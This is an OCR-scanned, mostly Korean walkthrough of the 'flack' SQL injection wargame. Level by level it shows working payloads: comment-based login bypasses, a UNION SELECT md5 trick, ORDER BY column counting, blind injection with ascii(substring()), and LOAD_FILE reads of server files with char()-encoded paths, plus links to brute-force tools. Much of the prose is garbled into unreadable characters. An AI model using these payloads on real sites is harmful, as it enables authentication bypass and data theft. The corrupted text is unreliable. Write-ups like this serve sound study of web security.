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1.FLACK - . g | ~

FLACKV = | £ SQL hjection’ * oy vtet $Hih Bye AKIE Linux, Mysql,
Apache , ef0.°6 vEIET, &/ "E K€ 14 vin 197 ' YHKE of
+ &G/l "n Bqe,eV vilEe ' * Levell-Level5, Otherl, Other3y T _ "EH
' L. peddw ¢ S LOAD_FILEBIind SQL Injection ¥ b sy

1&.,Vv ™ |k http:/izetorownage.xt.cz/ / A

A} .21 [ flack 11::. - Microsoft Internet Explorer

OF(EY BEE) 2N SARINA =D SSBH) "
2000 | @) http #¢zetorownage, kf.cz/ v @os
-~
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<FLACKY = [ Amm #n >


http://zetorownage.xf.cz/

2. Levell

Levellv £n w3 od’ - k71 &

<} ;| [ flack 11::. - Microsoft Internet Explorer
OHE(E) TEE) 220 EHENE XD EE
T (00 | &) hitp//zetorownage, «f cz/logindevel 1/

[0 be ultra

& e & 2IEY

G a WY s N 4 SQL@een T W
" e LiAr /0y ARK 04 T 0.

"q&a,¥ K / quote v e

The americans launched their rockets. Today we will all die.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near ‘'aa’ and pass='bb" at line 1

ves by yqT A sqe,quotevco/ T AEe" e¥ Lo0.

$n FN T, F M3 ASQLT sK€0d T F L O
select * from member where user =% _POSTiuser$Sand pass=$ POSTipass$S




—F k" . Ay 7 SQL sk od’ T F 0 o

select * from member where user =$r 1=1# and pass=S/hatever$

uset€ I wy M$+ H DAy % 1+ A, F 1t =€JAH1FbT o UbT
A3 T, FkF FHE 5 140.

AtT Ay O3 babayagar € O w17 T, 3 H" 0ol J Ann P o

a .
OHE) MEE) E20 SHEIA AT E3SZH)
T a-(0) | @] htip:/fzetorownage. #f, cz/loginlevel 1/

[ flack 1]::. - Microsoft Internet Explorer

' babavaga
with another user, or just head for the

Aogindevell/ing ohp

Log in as any user. Remember this vell 50 it has to be ultra




3. Level2

Levelzy 5 A od’ L. & no P o

<3 .:: I [ flack 11::. - Microsoft Internet Explorer
OH(Fy ME(EY HEHIN) SHEI(A) BRI ZEZHH)
= -(00 | @] hitp//zetarownage. #f cz/ogindlevel2/

e the hint gone? )

./ b/ nm ARk o0d’ T 0.

The americans launched their rockets. Today we will all die.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near 'b'and pass='c'd"')" atline 1

negT A ves bk bpoT FME0 — SQLTF L,y uwqT g Yo
Lys o8 f£o. 0 4 quote Ve Fo TS Wk "R
= O%n:,/ 1 y AR 0 O3 T, 4 M3 — SQLT =" Levell € w,

otolkilQoBo.7, #FM=::rASQL sk 0d T L0 @
select * from member where (user=$%_POSTiuser$§Sand pass=$ POSTipass$$;




-F¥ "k, Ay g SQL ckod F .0 o F
SELECT * from member where (user=Sor 1=1)# Sand pass= Svhatever you want $;

userp wY¥ E 7wy VF 4o, pSv e s wk 8 YAvwl a3 £
T I AH1EDT o UbTaz &V " s NF HE T, &/ F 1+
0.

AeET ° vos L O3 o4’ ~ &% babayagar € te71 T, 4 yrdL

3 .::| [ flack 11::. - Microsoft Internet Explorer
mriEy MEE) 2X0 SHFNA) AT EsEH
)| @] http://zetarawnage, xf cz/loginlevel2/

ain. { Hint: where have the hint

&) 22 & 2y




4. Level3

Leveldp 7, 4+ Fni€ od’ ~o.adminFa k€ b+ta Qw1 7, L Ut
o.x1y # GOF o 4-El "n

+e Levelz Ag N ORN gA” e

€ o mik 1 0.

A .. [ flack 11::. - Microsoft Internet Explorer
OriEy MWEEY =200 SHEIIA) BRI ESZH)
(00 | @) http://zetarownage. #f. cz/login/level 3/

1ale]

RBeferences:

&) 28 © 2IEL

bta ' / quote vs YL 4 " reqT SQLE=N Tm o p T’ HFYo
0o K ,0 M K fo E4/ A & COF ™ B &t H4-"Ef ¢
Y so0.¢xm T, 4 s — SQLT s 0d’ T+ LevelF - 1 @ o

L addslashes(), mysql_real_escape_string() ~ £ cn
l€1iva O040.

0z H.Pnr, M K’
4 quote v o YL -

[ $_POSTipass$ 0 ]
select * from member where ( user=% POSTiuser$Sand pass=$ POSTipass$$;




-F k" . Ay g SQL ckod T F 0 o

select * from member where ( user=8dminSand 1=1)# Sand pass=$iackko$;

Oos  nk admindgq 1=1( wy M)}atl wy £ / HAs HL LR VA
nN, KT =31 Jo Al T, L € L>+0.
Attt - L Ag 3 od’ ~F admin’ a1 7, F yrd L &

<3 i1 [ flack 11::. - Microsoft Internet Explorer
Orepy  MEGEY 220 SAHFIA) I SEEHH)
S0 @] htp//zetorownage, #f, cz/loginflevel 3/

] in az' admin

2=l eve

&) 2E ® “IEY




5. Level4

& pre’ I€C> 1, + Q/ J+Kvy avian v, — 1" H" o,
T

3 .::| [ flack 11::. - Microsoft Internet Ezplorer

ohEy mEEy 2200 SHEI(A) EX(Ty ESZH)
T4-(00 |#&] http://zetorownage, #f.cz/login/leveld,

d, =hame on you...

ur email.

& = & QI
a p > t, %+ /AK€ 4- STLAL o "4e,bn Forgotten password:
on ST /A SQLt 'H 4-"E+ e¥YH" 0.5%2 / hktest v e L

3 reqT /un eYA o e, it r ARl od’ "~ o.

You have an error in your S QL syntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near " hktest'" at line 1

m
.81
b

/ Qoo ol S/ ¥tk avian Er 505 1u €’
7/ Ad- 0" ==Ey 3 q,SQL" =kod’ "+ .0 :

select username, password fro m login_table where username =S POST[$fuserd

10




level4l€ Blind SQL Injection T %" " & W, GET” € POSTHA+al€ 1 L £Q
3 Otherl v £ ¥ & +' s+ ¢®  3,u/ Blind SQL InjectonL —  Brute Force
0¥ Z At a0 3L O4Y tun UE + ' sk Otherlt bV | ©o.

Blind SQL Injection L —  Brute Force | & 0 i

http://hkpco. kr/code/blind_brute.c

0d £ =E T,yvbl o 4 GVin Q@I Afo.

od Ef+p” QOE dvin 4 johnwayne = sqT T, %/ E o A£0.

WE(E) B2V SAHFDA I EsEH)
“=i00 | @] hitp:/fzetarownage, #f cz/login/levelds

O vour email.

11



http://hkpco.kr/code/blind_brute.c

6. Level5
+K omESti dw ST P& din 045" Fn0 1 I€ mdbol  %T 0.

<3 .::1[ flack 11::. - Microsoft Internet Explorer E]@g]
OHE EEE) B2Iv SAHFINA) E3T EEZH) o
T 000 @) hitp://zetorownage, «f, cz/logingevel5/ v BJos

1g[0]

3 hitp://zetorownage. xf.cz/login/level5/source.phps - Microsoft Internet Explorer

OreEy MEE) =2 EHEA BRI ESH s
200 | @] http://zetorownage, #f oz logindevels/source. phps v a I[E=
<?php

$Fés mysql_query("SELECT userloginpassword FROM usersloaintable WHERE userlosinname="{§_POST[ user']} "};

fnum = mysal_num_rows($res);
$row = mysql_fetch_row(fres):

if ({fnum !'= 01 && (Istrcasecmp(ndS($_POST[ pass'1), $row[D]J0) 4
echo "ok, wou did it!":

Felse {
echo "Login failed.”:

12



od EYta eV diFo.

<?php

$res = mysql_query("SELECT userloginpassword FROM userslogintable
WHERE userloginnameg$s POdTuser' [} " );

$num= mysqgl_num_rowssres);

$row = mysql_fetch_row($res);

if (( $num!= 0) && (! strcasecmp(mdb$ POJTpass' [), $row 0]))) {
echo "ok, you did it!" ;

seey

}else {
echo "Login failed." ;

seey

}

7>

"2 TA O3 ,mysgl_num_rows() ®?" SQlr T " k-~ Enn v, 5
strcasecmp() @7 F o~ ¢ passiio L md5(r >’ mysql_fetch_row()

w" e He 4+ M K° H=|= (O, userloginpassword i M K™ 77 >)F x

+ By 3 7 & E L+ I rokyoudidit! R=8 L Ao SKEditfo.

TA " + L i O3, 1= € userloginname’ userloginpassword i T >0 Lo
"B T F S wms 4 D /TS ne , M K> i/ A SQLt H
4-"E F=- | v/ ‘¢ / od &

0 3 1 nn 2.

" union select md5(‘hkpco")#

hkpco

—F "+ o sl . 1 s reo0d T+ ,0 o]
SELECT userloginpassword FROM userslogintableWHERE userloginname=" union select
md5('hkpco")#'

Ln ™ >4 7’ K NULLFE H, nr unionl £ .

userloginname$ ", ©® X %
4 select md5('hkpco’);™ = ¥ ~ ' 1 Ao., m3 #\ ~ =4 7 | hkpco v =




md5 T >+ H 14 SAv@ 1 + 1  >€JAH 140.04 php

obinn Oo .

$num = mysqgl_num_rows($res);
$row = mysql_fetch_row($res);
if ($num = 0) && (!strcasecmp(md5($ _POST['pass’]), $row[0])))

M K / @0 unon™ = "' 17 & 4 $numnote 1+ H 1+, 37 5
** 4k hkpco v o 8 L mdsT > Lk grow[o) erHE BL 14+0.+ 3 m
K / ‘o y hkpco v s 8 L mdsT > strcasecmp() o M K 4

=" Y ,$row[0)/ T 5 A hkpco v = 8 ¢+ md5 > erHi
Ht 1, 4/ 'E

'"bTDd\J,“”I

Jo.At "~ ~bine io K od T o.

3 .. 1 [ flack 11::. - Microsoft Internet Explorer
OriFy  WEEY 220 SAFNA (1) TSEH
S2=(00 | @) hitp://zetorownage, xf.cz/login/levels/

ok, wou did it!

Aogind

&) 22 ® IR
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7. Otherl

Other n HE 0 ¢ vt 1 & £/
Login n'H O o.04d"’ E T

<3 ;21 [ flack 11::. - Microsoft Internet Explorer
OHMiFy ME(EY BIM) SHEI(A ET) EEZH)
200 |&] http://zetarownage, #f, cz/atherflevel 1/

jumper © Aaq T T, & K€1$+ K O ¢ Feq, Members: N/ O o= Fo g
T 0tk Cxell w 3 od” “F OE 200 P O
H jumpers A x M" n$o.
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<3 .::| [ flack 11::. - Microsoft Internet Explorer
FEOEY WEEY EXVY SHEVA I TSR
=100 @] http://zetorownage, »f,cz/other/levell /members, phpfuid=4

I
=
i

Ly

&) 2= & 2IE

7,4 +n/ A quote ve YL ao 4 sSQL/un 14 O nr e¥Y n Q
0., '"H Ooc 801 045 1€ members.php uid n ®/ quote v = 1

Xy od /gy ART P ®

0.

URL: http://zetorownage.xf.cz/other/levell/members.php?uid= 4'

You have an error in your SQL sy ntax; check the manual that corresponds to your MySQL

server version for the right syntax to use near' \ "atline 1

t>" f0o quote veoT 4 SQL/ n1" eV¥Y 4n. °/ T

va (\) 41" H" 0.0, SQL Injectonk & «Hn: quote v = i

4-E"~»E 6 1vA Os0., NAquote v £Q ~ 4t

t € order byn 4 _ F select A QoHIE columny . @w? 1A 4 O.order by/
L o0 oc ... w=g3,orderbyll L 3/ 1€ selecty VW K° hno>L g
T 2o 4 Ao Y9 ,orderby2n L 1/ 1€EM K" i >L a1 mo0 4
No N10.4, A i, o 1AL — 4 orderbyn O FrIE orderbyN / A
Nt . . " selecty columng . @O0 ct/ K/ eYA L v/ /0 e

Y &1 & N>F &1 selecty columny , @" H 1F v F0.
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od Eorderby1l L 4 7 Fo0.

URL: http://zetorownage.xf.cz/other/levell/members.php?uid= 4 order by 1

<} .::1 [ flack 11::. - Microsoft Internet Explorer E]
OriFy  WEE) =221V EAFIIA) R ESZHHD "
T =i00 &) http//zetorownage. xf.cz /other/level | /members. php fuid=4%20order2 20by 2201 w ﬂ o=

& 22 © CIE

od k orderby100Ll L ¢4 " $o0.selecty column . ©" 100, + FbT
/n" e¥ o.

URL: http://zetorownage.xf.cz/other/levell/members.php?uid= 4 order by 100

<} .::1 [ flack 11::. - Microsoft Internet Explorer E]
OriFy  WEE) =221V EAFIIA) R ESZHHD "
T=i00 &) http//zetorownage. xf.cz/other/levell /members. php fuid=4%20order%20by %20100 |+ ﬂ o=

& 22 © CIE
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1  H[ g7 . E selecty columny , ®lk 6, F£0.Mn, I A columng |, @0
| My, Otherl * £/ A OoHIE Fw FoFt da Fo YL Qn v | v/
Pic WL (O sHtBo. Fw 8&a Fol Q@d, — 4 unon v

' Z information_schema/ »°’ O Ny O w'™o0.

+4/ O K order by? 4 ¢ g columnyt . @O Qya Fo 7 Q&b
lew, £l€* GO twml fAUN b EAAL %t o. Nt Qoo
a0 t 2K T M K 8 CX4 id, name, email Y4 fj£ column o' ¢®

sq€, Aorderbyr Q@ 9" K & y columny  ©(®, ) Oo AoHIE 0
L, OB, ) T kK aqbT ten . column £o , Y23 H"o.w, ; Y
Oz ten Ttk dVvii/ :: KcoumnfFale 1L AN o

members.php/ A O oX4 SQL™ s K€ 0od’ ~F ., 0

select id, name, email, notes, notes2, ???from members where id= SGET[$uidp

GET g n®¥ $uid/ ioHlk >/ b 4 LA

EQ ", - @g,, D” Ha_FH5Avy % N Q yo.
column #0 + - F  pn QL _ 1 oorderby " K od o
A>column £k £ W R

a

URL: http://zetorownage.xf.cz/other/level 1/members.php?uid= 4 order by pass

<} .::| [ flack 11::. - Microsoft Internet Explorer E]

OH(Ey  BEEY HIM SHENA BT ESEH) .
F 00 | @] hitp//zetorownage, »f, cz/other/level 1, /members, php?uid=4% 20order® 20by 3 20pass v ﬂ 0=

&) 2 £ 2IEY
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B>column £k £ W« p Oq R

a

URL: http://zetorownage.xf.cz/other/levell/members.php?uid= 4 order by key

<3 . [ flack 11::. - Microsoft Internet Explorer g@
FR(EY ME(EY 220 SAEIA E(D ESEH) h

I '/
ES v oS

=100 | @] hitp://zetorownage, #f, cz/other/levell /members, php7uid=4%20order% 20by % 20key

Gvin/ b coumnk —% - E HT L a y L L TURNIKE Qo 5

=z

O" AoHK T M K 1 Cxe’ oy Hy

QedHh 0.+t column Fo L @ O /A o
pass " & E H"n, om coumn 206’ K€ C> Ao HRIE Q
" Q@®d, — HI g1 Blind SQL InjectionL ¥ P &
/ b 4SKod “F @& P o

< pw v >

URL: http://zetorownage.xf.cz/other/levell/members.php?uid= 4 and (select 1)=1

R .::| [ flack 11::. - Microsoft Internet Explorer

b

IRy WEIEY 2210 SAFNE 3D TSEH o
100 | @] hitp1//zetorownage. »f, cz/otherlevel 1, /members. php?uid=4%20and% 200 select®% 2010=1 ~ ﬂ s

&) 2 £ 2IEY
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<" pw NL O >

a

URL:http://z etorownage.xf.cz/other/levell/members.php?uid= 4 and (select 1)=2

R .::| [ flack 11::. - Microsoft Internet Explorer
IRy WEIEY 2210 SAFNE 3D TSEH o
T at00 | @] hitp//zetorownage. »f.cz/other/level 1/members, php?uid=4%20and % 20{ select% 201)=2 ~ ﬂ s

e ud L aF T L ip SO vkod Toa b

<M >-id" 4F" selectl 1k T 0.0, 1=1

select id, name, email, notes, notes2, pass from members where id= 4 and (select 1)=1;

<, NA > -id" 44 selectl 2€ T 0.0,1=2

<

select id, name, email, notes, notes2, pass from members where id= 4 and (select 1)= 2;
s N Lt aU0aqT d 4k Ocs g 50" AOH 1FR, .- W 4y
1T "' >1u AoHn QKo . Weaqr 1=2¢ 1€ F- N Q v 0.
+£F¥ - EHTL 4 pass W HE 1 QOH ©

K/ Q®d, " e, v/ od’ & ve VX € HT L 0o - o.

c

.4, A pass i >k

4 and ascii(substring((select pass),1,1))=[ascii L —n bruteforce]
4 and ascii(substring((select pass),2,1))=[ascii L —n bruteforce]

4 and ascii(substring((select pass),3,1))=[ascii L —n bruteforce]

20




i A 0 23 . &/ ascii(substring((select pass)2,1))=N/ b 4 ' GO &
s 3,1 & select pass 4+ pass g ¥+ ol Ao Hiew F =, substring()
W' Fo AYk nsS lbyten 144 0., 37 asci() 4 e g &
a > NLx_ ks L o.

Blind SQL Injecton & ' sk od’ £+ B o

1.selectpass™ =T pass W@, GViy e

2. substring() " e §veds8 X—AS 1.&F n g

3. 3t > L ascii) wn a QA T n

4.n y >FvY> My o3 X> y" 2K 7 58S~

58y n QKosz Y> w" 4K ' 58S -~

— sl o wu 06 . 9, k€04 " o.seled, thread Y ON
T, nDL £, o3 BruteForcen ~ X h' ™~ [ e

Otherl - Blind SQL Injection Brute Force
http://hkpco.kr/code/blind_brute2.c

Brute Forcele @& & L—" ®e Q N Q= ,y "M ve Yq7T & PR
=0 X_, K SQL™ = "'/ rjumperRv =8 £ k= 3 x_ o My e g
T "a 0 T A GV od ven % 0.xMi T N+L —A v F
NULLv = » By ¢ y* Gvien YEA1q1 "8 T, yl=8 o,
od 1T ® v Loj 3+0.1b sy, 073 0d’ T U a4

#* hkpco@ns: ~/public_html/sgl_wargame @@

% -V IB]3 ¢ -0 blind_brute? blind_brutez.c -Yall ~

Il
=

meh

mehi

21



http://hkpco.kr/code/blind_brute2.c

2 .::1[ flack 11::. - Microsoft Internet Explorer
OHF)y MEKE) BV EAFIA ERI) EEZHH)
=00 | @] httpe//zetorownage. xf.cz/other/level 1/

not another loc .. UHint: count

& 22 @ VEHY

well done!
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8. Other3

Xni vt£40.9%131 Fnkod "~o.

A .::| [ flack 11::. - Microsoft Internet Explorer
OHEy MEEE) B2V SHFEDNA) I ESE(H)
T a-(0) @] hitp://zetarownage., #f cz/other/level 3/

/2l But 1o find

FK vEnD | — AKEM "N ekl - i
YIE1TE M K KE,mysgl™ =1 § )

M K wmdodt vt - ®L~y  — Aod L vt FEno 1§ O,
® L « 0 O o
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B level3[1] - HI2ZE

OFREY BEE) M0 220 ES2(H)

<html>>

<head>

<title>.::|[ flack ]|::.</title>

<LINK rel="stylesheet” href="_./._/style.css" type="text/css">

<fhead>

<body> —

<{p>/other/level3/index.php</p>

{p class="d">

There is a hidden file which contains the password for this level. But to find that file you'll need to kno
<Ap>

<h3>Login:</h3>
<form method="POST" action=""">
<table border="0" cellpadding="@" cellspacing=""2">
{tr>
<td><{input type="text" name="user" />{/td><{td rowspan="2"><{input type="submit" value=">" class="b" /><{/
<At
{tr>
<td><{input type="text" name="pass" />{/td>

| £

|~
v

idgn 0 OK XN "» @n/ od’ ~Euv_ " 0,0.
B level3[1] - HI2ZE
mriEy BEE) M0 220 TsH)
4

{f*-- no the password isn't here, but you're on the right track. keep crawling... --> v
< | 3.
— —

) 7 Bok fo0o., D03 *

0 OK ux od’ ~ Edar

<htmlI>

<head>

<title>.::|[ flack ]|::.</title>

<LINK rel="stylesheet" href="../../style.css' type="text/css" >

</head>

24




i vaqT OFfIEHTMLOW/ € N 1" v/ " saqT 0o,y EL

stylecs®9 1 sqe,%dn i/ AEL o

http://zetorownage.xf.cz/other/level3/../../style.css

stylecsey 0 O3

utEiks HE(E)

EEH Sk #

.S
¢ okay vour hidden shit is here!
Amp/a000.temp
note: this is not the web root dir,

W

£
CEEE B <Fi> 7|18 F2UHME.

3 G v i k€ ftmp/a000.temp/ e » H i
DT "7 40.

I‘] G\/I/I Wl s

" 5/ A quote v = 1

ke od o # s sUaqT 0 HE1ILQ

25



http://zetorownage.xf.cz/style.css

a0 ML imp/a000.temp, , =7 £ aFtx SQL™ =
=*= 0.—/ ’AU' e 4 Ny =+= L =*=<—> 4 L 10}
~Ler — K€1q71 Ofq,t =1+, A LOAD_FILE) wn Y P o

od’ "+ 0o 3 WMo sr+"xr 140,
select LOAD_FILE§tmp/a000.temp S);

Nr v &/ Al quote U = 0 ¢ v/ @ T sk sU0eqT | HN Q
l€o . $n 1 € HT L Y ®- tew,char) ©" F+o 4 0.

od Echa) ®" O o AF0.HE / = KQan ' vorT 8EFN0.

‘“#ih' for help., Type "#c’ to clear the buffer,

£t char) ®v" O« , — A rftmp/ad00tempRv = 8 L & Q-1 &&1% 5
T—  EH, mm¥bet Kevos od’ “F 3D deiqgr T 0] n Lo
Ykedinlk od’ " o.

conv.c

int main( int argc , char **argv )

{
inti=0;

iflargc <2)

return O;

26




for(; i < strlen(argv[1]) ; i++)

{
if(i==0)
printf( "0x%x" , argv[1][i] );
else
printf( ",0x%x" , argv[1][i] );
}
printf("\ n");
}
£ ' GO /tmp/a000.temp v s 8 L char) @ 4« A/ &~ n &
r

[hkpco@ns sql_wargame]$ ./conv /tmp/a000.temp
0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x70

Gvih WML sy  — yradkSQLTc O T 0.

select load_file(char(0x2f,0x74,0x6d,0x70,0x2f,0x61,0x30,0x30,0x30,0x2e,0x74,0x65,0x6d,0x)j0

p T eom K Ai A "' " AoHe,, "' " er

/tmp/a000.temp MWL 5 .%o

usert€ batman, passi€ skoda>batmobile 4+ 1 L Q &

27




aqT 7, #L A 3 E L i€ rwelldone!Ry Ann P o §
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